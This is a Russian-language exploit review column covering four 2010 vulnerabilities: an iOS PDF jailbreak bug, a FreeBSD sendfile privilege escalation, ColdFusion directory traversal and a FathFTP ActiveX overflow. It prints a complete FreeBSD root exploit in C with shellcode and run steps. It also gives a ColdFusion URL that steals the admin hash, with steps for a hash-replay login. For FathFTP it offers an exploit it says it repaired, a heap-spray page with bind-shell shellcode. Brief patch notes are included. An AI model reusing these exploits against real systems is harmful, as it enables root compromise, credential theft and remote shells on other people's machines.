Выполнение произвольного кода при открытии PDF-файла в iOS

 

TARGETS

  • Apple iPhone 3/3G/3GS
  • Apple iPod
  • Apple iPad
  • Apple iOS 3.X/4.0.X
 

CVE

  • CVE-2010-1797
 

BRIEF

Перед нашими глазами отличный пример того, как уязвимость и эксплойт работают на «благо» пользователей. Дело в том, что все мы знаем про такой популярный и модный продукт, как, например, iPhone. Также мы знаем, что наши действия в этом потенциально отличном девайсе сильно урезаны. Ни поднять тебе SSH-сервер, ни скомпилить второй квейк… Понятно, что телефон должен звонить, а не компилировать, но не за такие деньги. Посему хакеры регулярно выкладывают так называемые Jailbreak’и. Дословно переводится как «побег из тюрьмы строго режима им. Стива Джобса». Такие «патчи» нелицензионны и аморальны (но законны), так как оставляют без денег производителей ПО для магазина AppStore, что торгует софтом для яблочных девайсов. Так причем тут обзор эксплойтов? Да при том, что последний Jailbreak, который был реализован твиттер-юзером @comex и его командой (iPhone Dev Team), использовал уязвимости 0day в ПО Apple. Результат работы был продемонстрирован на Defcon 18. Так вот, внедрение кода было осуществлено через две 0day уязвимости: одна в PDF-читалке, встроенной в телефон, а вторая – в ядре iOS. Таким вот образом можно весело расширять функционал iPhone – с помощью хороших эксплойтов. Детали эксплойта не особо распространяются, оно и понятно, ведь эта брешь еще не исправлена, а, значит, попади это оружие в руки «злых» дядей, то вполне возможна попытка построения ботнета на основе Apple-устройств.

 

EXPLOIT

Кое-что, все же, об том эксплойте известно. Перво-наперво взглянем на содержимое PDF-файла:

13 0 obj
<</Subtype/Type1C
/Filter[/FlateDecode]
/Length 10709>>
stream
xњн}
t Чµо‘-ѓldc0!
.... вырезано много байт....
endstream
endobj

15 0 obj
<< /Type /FontDescriptor /Ascent 750 /CapHeight 676 /Descent -250 /Flags 32
/FontBBox [-203 -428 1700 1272] /FontName /CSDIZD+Times-Roman /ItalicAngle
0 /StemV 0 /MaxWidth 1721 /XHeight 461 /FontFile3 13 0 R >>
endobj

Собственно, тут и зарыта первая уязвимость – ошибка при обработке Type1C-шрифтов, где, судя по всему, происходит захват стека через переполнение буфера. Как видно, 15 объект ссылается на описание шрифтов, на объект 13 (/FontFile3 13 0 R), где у нас описан Type1C-шрифт. В формате описания (CFF — Compact Font Format) и скрыта ошибка. А что у нас там, где вырезано много байт? Судя по тэгу /Filter[/FlateDecode], там у нас «закодированая» область, которая легко декодируется с помощью PDFTK (скачать с гуи-интерфейсом можно тут: paehl.de/pdf/gui_pdftk.html). В результате вместо каши мы получили почти читаемый код, вернее сначала мы видим CFF-описание, где есть триггер уязвимости (точно неизвестно, где – надо курить ман по CFF), и далее, судя по всему, ROP-программа. Отмотаем скроллер пониже – открытым текстом библиотека, которая используется для получения прав root’а через вторую уязвимость (при выделении памяти в IOSurface). В итоге боевая нагрузка заключается в том, чтобы закачать Jailbreak-софт, получить рута (и тем самым выбраться из песочницы – защитного механизма iOS) и установить его. Вот и все.

 

SOLUTION

Пока этот эксплойт используется только для Jailbreak’а, но, тем не менее, не исключены модификации. Пока таких случаев не выявлено. Кроме того, патча еще нет, видимо, будет в следующей версии прошивки. Для тех, кто все же использовал Jailbreak, есть возможность установить предупреждалку, которая при открытии PDF-файла предупреждает об угрозе.

 

Повышение привилегий в FreeBSD

 

TARGETS

  • FreeBSD 7.x
  • FreeBSD 8.x
 

CVE

  • CVE-2010-2693
 

BRIEF

Интересная уязвимость в ОС FreeBSD была обнаружена исследователем Ming Fu. Данная уязвимость позволяет легко получить права root’а в системе. Впоследствии товарищ Kingcope опубликовал эксплойт, реализующий эту уязвимость. Прежде чем начать описание эксплойта, рассмотрим некоторые объекты ОС.

В ОС (FreeBSD) для организации межпроцессного взаимодействия и для работы с сетевой подсистемой используется специальный объект памяти – mbuf. В этой памяти могут храниться, например, пакеты, которые передаются по сети.

Системный вызов sendfile() используется для передачи содержимого файла (по открытому дескриптору) в сокет. То есть, если совсем грубо – отправка содержимого файла по сети. При этом, как понятно, для данных файла используется mbuf.

Собственно уязвимость кроется в реализации mbuf, а в эксплуатации помогает именно sendfile(). Давайте взглянем подробнее…

 

EXPLOIT

В чем же ошибка? При вызове sendfile() mbuf-блоки представляют собой указатели на содержимое файла в кэше файловой системы. При этом указатели эти доступны сугубо для чтения, что логично. Но программисты из Бэркли совершили одну маленькую ошибочку, совсем крохотную – при дублировании ссылки на mbuf-блок права копируются некорректно, вернее, ограничение «только для чтения» не копируется в новом указателе (в флагах). Такое дублирование происходит при использовании sendfile(), а именно – дескриптор сокета будет влиять на mbuf. Это фактически означает, что можно модифицировать фалы, которые для записи недоступны (опять же – в кэше файловой системы). Например, можно изменить /bin/sh, добавив в него код, который дает права root. Рассмотрим теперь эксплойт (заточен он под x64 и под x32, рассмотрим только x32):

main (int argc, char *argv[]) {
int s, f, k2;
struct sockaddr_in addr;
int flags;

// Шеллкод – ставит /tmp/sh владелца root и sticky bit
// что означает, что данный процесс будет
// иметь правами владельца файла, если его запустят…

char str32[]=
"\x31\xc0\x6a\x00\x68\x70\x2f\x73\x68\x68\x2f\x2f\x74\x6d\x89\xe3"
"\x50\x50\x53\xb0\x10\x50\xcd\x80\x68\xed\x0d\x00\x00\x53\xb0\x0f"
"\x50\xcd\x80\x31\xc0\x6a\x00\x68\x2f\x73\x68\x32\x68\x2f\x74\x6d"
"\x70\x89\xe3\x50\x54\x53\x50\xb0\x3b\xcd\x80";

char buf[10000];

char *p;
struct stat sb;
int n;
fd_set wset;
int64_t size;
off_t sbytes;
off_t sent = 0;
int chunk;
int arch = 3;

//открываем loopback соединение
s = socket(AF_INET, SOCK_STREAM, 0);
bzero(&addr, sizeof(addr));
addr.sin_family = AF_INET;
addr.sin_port = htons(7030);
addr.sin_addr.s_addr = inet_addr("127.0.0.1");
n = connect(s, (struct sockaddr *)&addr, sizeof (addr));
if (n < 0)
warn ("fail to connect");
//Открываем /bin/sh на чтение
f = open("/bin/sh", O_RDONLY);
if (f<0)
warn("fail to open file");

n = fstat(f, &sb);
if (n<0)
warn("fstat failed");

size = sb.st_size;
chunk = 0;

//неблокирующее чтение
flags = fcntl(f, F_GETFL);
flags |= O_NONBLOCK;
fcntl(f, F_SETFL, flags);

//шлем открытый файл через sendfile() в цикле
while (size > 0) {

FD_ZERO(&wset);
FD_SET(s, &wset);
n = select(f+1, NULL, &wset, NULL, NULL);
if (n < 0)
continue;

if (chunk > 0) {
sbytes = 0;
if (arch == 1)
n = sendfile(f, s, 2048*2, chunk, NULL, &sbytes,0);
if (arch == 2)
n = sendfile(f, s, 1204*6, chunk, NULL, &sbytes,0);
if (n < 0)
continue;
chunk -= sbytes;
size -= sbytes;
sent += sbytes;
continue;
}

chunk = 2048;

memset(buf, '\0', sizeof buf);
if (arch == 1) {
//nop’ы
for (k2=0;k2<256;k2++) {
buf[k2] = 0x90;
}
p = buf;
p = p + k2;

//После nop’ов добавляем шеллкод
memcpy(p, str32, sizeof str32);

n = k2 + sizeof str32;
p = buf;
}
//Пишем шеллкод прямо в сокет
//после многократного sendfile
//Есть вероятность перезаписи mbuf
//указывающих на кэш с файлом,
//который мы отправляли - /bin/sh
write(s, p, n);
}
}

Таким образом, для начала надо сделать копии /bin/sh в tmp:

cp /bin/sh /tmp/sh
cp /bin/sh /tmp/sh2

Затем на втором терминале (ALT+F2) открыть netcat, чтобы слушать порт, куда файл слать будем…

nc -l 7030

После этого скомпилируем и запустим эксплойт:

gcc cache.c -o cache
./cache i386

Теперь ждем около пяти минут. За это время, возможно, получится повредить кэш-память с содержимым /bin/sh, который изменит права и владельцев /tmp/sh и запустит /tmp/sh2. После этого смело запускаем /tmp/sh, и мы – root.

 

SOLUTION

Имеется патч, который, по сути, добавляет забытый флаг – M_RDONLY.

===================================================================
--- sys/kern/uipc_mbuf.c (revision 209948)
+++ sys/kern/uipc_mbuf.c (working copy)
@@ -302,6 +302,7 @@
n->m_ext.ref_cnt = m->m_ext.ref_cnt;
n->m_ext.ext_type = m->m_ext.ext_type;
n->m_flags |= M_EXT;
+ n->m_flags |= m->m_flags & M_RDONLY;
}

/*

 

Обход корневой директории в ColdFusion

 

TARGETS

  • ColdFusion 9
  • ColdFusion 8
  • ColdFusion 7
 

CVE

  • CVE-2010-2861
 

BRIEF

ColdFusion – достаточно известный и популярный язык программирования для Web. Кроме того, это еще и удобная платформа для развертывания своей системы, с админкой и всем таким прочим. Но, как известно, ПО без ошибок не бывает. Так и с платформой ColdFusion, в скриптах которой обнаружена возможность обхода директорий и доступа к произвольным файлам. Уязвимость была обнаружена Ричардом Брайном (Richard Brain), который сообщил об этом Adobe. Тем не менее, эксплойт просочился в паблик от некого анонимного лица, с чем нас и поздравляю.

 

EXPLOIT

Для некоторых скриптов платформы можно указать локаль – язык шаблона, что несомненно, удобно, например так:

http://server/CFIDE/administrator/enter.cfm?locale=ru

При таком запросе админка будет отображена на русском языке. При этом «ru» – это, на самом деле, приставка к файлу с языковыми шаблонами, который и подгружается. Далее используется обыкновенная последовательность для выхода за директорию с шаблонами – «../». Но этого недостаточно, так как ColdFusion проверяет, чтобы «конец» был валидным. Поэтому в конце добавляем нулевой байт и сигнатуру используемой локали – «en» (есть везде). Тогда скрипт будет рад – в конце «en», а при открытии файла он «обрубится» благодаря нулевому байту. Какие, собственно, файлы нас интересуют? Ну, например, файл с паролем администратора от платформы, который лежит в директории, где установлена платформа – C:/ColdFusionX/lib/password.properties. Соответственно, эксплойт:

http://server/CFIDE/administrator/enter.cfm?locale=../../../../../../../../../../ColdFusion8/lib/password.properties%00en

В итоге мы получим SHA1-хеш пароля админа. В принципе, можно уже идти ломать брутфорсом, но можно поступить хитрее, согласно совету Нильса Тьусинка (Niels Teusink):

  1. Вводим на странице аутентификации (/CFIDE/administrator/enter.cfm), в поле для пароля значение украденного хеша;
  2. В адресной строке вводим javascript:hex_hmac_sha1(document.loginform.salt.value,document.loginform.cfadminPassword.value), жмем «Enter». Записываем полученное значение;
  3. Жмем кнопку назад – опять оказываемся на странице аутентификации;
  4. Запускаем MITM-прокси, Нильс рекомендует Burp, я же пользовался TamperData-плагином для FireFox;
  5. Жмем кнопку «Login»;
  6. В перехваченном Post-запросе редактируем поле cfadminPassword, вставляя туда записанное нами значение. Отсылаем отредактированный запрос;
  7. Мы в админке!

Доступ к панели администратора дает полный доступ к системе; дело в том, что в админке есть задания по расписанию, в эти задания можно добавить свой скрипт на ColdFusion, который дает, например, шелл (в винде – права SYSTEM). Вот, собственно, и все.

 

SOLUTION

Вообще, уязвимы все версии под все ОС, однако эксплойт был проверен только на восьмой ветке. В девятой версии при настройках по умолчанию уязвимость не работает. В любом случае, Adobe выпустил hotfix, устраняющий проблему: adobe.com/support/security/bulletins/apsb10-18.html

 

Выполнение произвольного кода в FathFTP

 

TARGETS

  • FathFTP 1.8
 

CVE

  • N/A
 

BRIEF

FathFTP – это программа стоимостью 79 долларов США, которая используется для доступа к FTP-серверу и работы с файлами. В основном она нужна веб-разработчикам для автоматизации работы с FTP посредством HTML, так как данный продукт – это ActiveX-компонент. Но, как свойственно любому ПО, тут есть ошибки. В частности, мы имеем дело с переполнением буфера в стеке, которое приводит к выполнению произвольного кода.

 

EXPLOIT

Банальная ошибка – переполнение буфера в стеке, что приводит к перезаписи данных в стеке, например, адреса дескриптора SEH. Напомню, что данный дескриптор служит для исключительных ситуаций – например, что-то в программе пошло не так, и, чтобы не упасть в лужу, нужно выйти «красиво». Именно для этого и служит обработчик исключительных ситуаций. Так, например, при переполнении буфера в стеке мы потерли в стеке указатель на данные, заменив его каким-то мусором. В итоге при копировании данных возникает ошибка – указателя-то больше нет. Тогда программа ищет последний обработчик исключений (который тоже в стеке, и который мы тоже перезаписали). Обработчик этот, по сути – указатель на код, который должен выполниться в том случае, если что-то пошло не так. Мы перезаписали этот обработчик, и теперь вместо кода обработки ошибки выполнится тот код, на который мы указали.

Надо отметить, что эксплойт, который был выложен в паблике, был абсолютно не рабочим. Дело в том, что адрес, куда указывал автор эксплойта, был без всего – пустым. Некоторые байты в буфере при переполнении были не ASCI-символами, что привело к искажению значения, в общем, совершенная шляпа. На самом деле такие эксплойты за 10 секунд можно превратить в рабочие, для этого достаточно добавить Heap Spray (или точно вычислить адрес буфера с шеллкодом) и заменить указатель SEH на адрес с шеллкодом. Если мы говорим о Heap Spray, то середина памяти всегда под нашим контролем, например, будем использовать адрес 0x0C0C0C0C. Напомню, что Heap Spray – это просто большой массив в памяти браузера, где мы пишем шеллкод. Большой динамический массив – много памяти в куче. Поэтому мы забираем столько памяти, чтобы адрес с шеллкодом можно было просто угадать – тыкаешь в середину памяти, а там с большой вероятностью наш шеллкод (вернее, nop’ слайс – пустые операторы, а потом сам шеллкод).

Тогда алгоритм следующий: сначала создаем большой динамический массив с большим куском пустых операторов – nop’ов (оп код – 0x90). В конце добавляем шеллкод – открытие бэкдора на 28876 порту. Затем формируем буфер для FathFTP. Огромную строку размером 1540 байт. Содержимое строки, все байты, – 0x0C. Затем вызываем функцию компоненты – FileExists(), и в качестве параметра указываем нашу строку с 0x0C. Функция начнет обрабатывать параметр и скопирует его в свою переменную, но памяти для переменной выделено меньше, чем 1540 байт. В итоге остальные байты строки будут скопированы вне буфера в стеке, затирая все то, что лежит в памяти за переменной, включая адрес обработки исключительной ситуации. В результате SEH-указатель станет равным 0x0C0C0C0C. После этого произойдет сбой в работе функции при копировании данных, что вызовет обработку исключительной ситуации. Программа возьмет адрес обработчика из стека, из вершины цепочки SEH-адресов. Именно этот адрес мы и перезаписали, поэтому управление перейдет по адресу 0x0C0C0C0C. К великой удаче именно по этому адресу находится один из элементов динамического массива, который мы создали в самом начале (Heap Spray). Поэтому содержимое этого массива будет интерпретировано как исполняемый код и исполнено. Процессор пройдется по цепочке 0x90 – пустым операторам – и дойдет до шеллкода, который и будет выполнен. Сам эксплойт прост до безумия:

<html>
//CLSID FathFTP – подгружаем уязвимый модуль
<object classid='clsid:62A989CE-D39A-11D5-86F0-B9C370762176' id='target'></object>
<script>

// Шеллкод – Skyland win32 bindshell – открывает на 28876 TCP-порту cmd.exe
var shell = unescape("%u4343%u4343%u43eb%u5756%u458b
%u8b3c%u0554%u0178%u52ea%u528b%u0120%u31ea%u31c0%u41c9
%u348b%u018a%u31ee%uc1ff%u13cf%u01ac%u85c7%u75c0%u39f6
%u75df%u5aea%u5a8b%u0124%u66eb%u0c8b%u8b4b%u1c5a%ueb01
%u048b%u018b%u5fe8%uff5e%ufce0%uc031%u8b64%u3040%u408b
%u8b0c%u1c70%u8bad%u0868%uc031%ub866%u6c6c%u6850%u3233
%u642e%u7768%u3273%u545f%u71bb%ue8a7%ue8fe%uff90%uffff
%uef89%uc589%uc481%ufe70%uffff%u3154%ufec0%u40c4%ubb50
%u7d22%u7dab%u75e8%uffff%u31ff%u50c0%u5050%u4050%u4050
%ubb50%u55a6%u7934%u61e8%uffff%u89ff%u31c6%u50c0%u3550
%u0102%ucc70%uccfe%u8950%u50e0%u106a%u5650%u81bb%u2cb4
%ue8be%uff42%uffff%uc031%u5650%ud3bb%u58fa%ue89b%uff34
%uffff%u6058%u106a%u5054%ubb56%uf347%uc656%u23e8%uffff
%u89ff%u31c6%u53db%u2e68%u6d63%u8964%u41e1%udb31%u5656
%u5356%u3153%ufec0%u40c4%u5350%u5353%u5353%u5353%u5353
%u6a53%u8944%u53e0%u5353%u5453%u5350%u5353%u5343%u534b
%u5153%u8753%ubbfd%ud021%ud005%udfe8%ufffe%u5bff%uc031
%u5048%ubb53%ucb43%u5f8d%ucfe8%ufffe%u56ff%uef87%u12bb
%u6d6b%ue8d0%ufec2%uffff%uc483%u615c%u89eb");

//Готовим heap-spray, 90 – nop
var bigbk=unescape("%u9090%u9090");
var header=20;
var space=header+shell.length;

while(bigbk.length < space) bigbk+=bigbk;

var fillbk=bigbk.substring(0,space);
var bk=bigbk.substring(0,bigbk.length-space);
while(bk.length+space<0x40000) bk= bk+bk+fillbk;
var mem=new Array();

//Большой массив
for(i=0; i<800;i++) mem[i]=bk+shell;

var buff="";
//Большая строка с 0x0C
for(i=0; i<1540;i++) buff+=unescape("%0c%0c%0c%0c");

//Переполняем буфер…
target.FileExists(buff);
</script>
</html>

 

SOLUTION

Патча нет. Если все же у тебя каким-то образом оказалось данное ПО, либо удали, либо установи Kill bit. Kill bit запрещает подгружать компонент через браузер, что, в принципе, может помочь. Для установки бита нужно зайти в реестр, в ветку HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\ActiveX Compatibility\, создать там раздел 62A989CE-D39A-11D5-86F0-B9C370762176 и параметр Compatibility Flags, типа REG_DWORD, туда занести значение 0x00000400.

Теги:

Оставить мнение

Check Also

Эхо кибервойны. Как NotPetya чуть не потопил крупнейшего морского перевозчика грузов

Российское кибероружие, построенное на утекших у АНБ эксплоитах, маскировалось под вирус-в…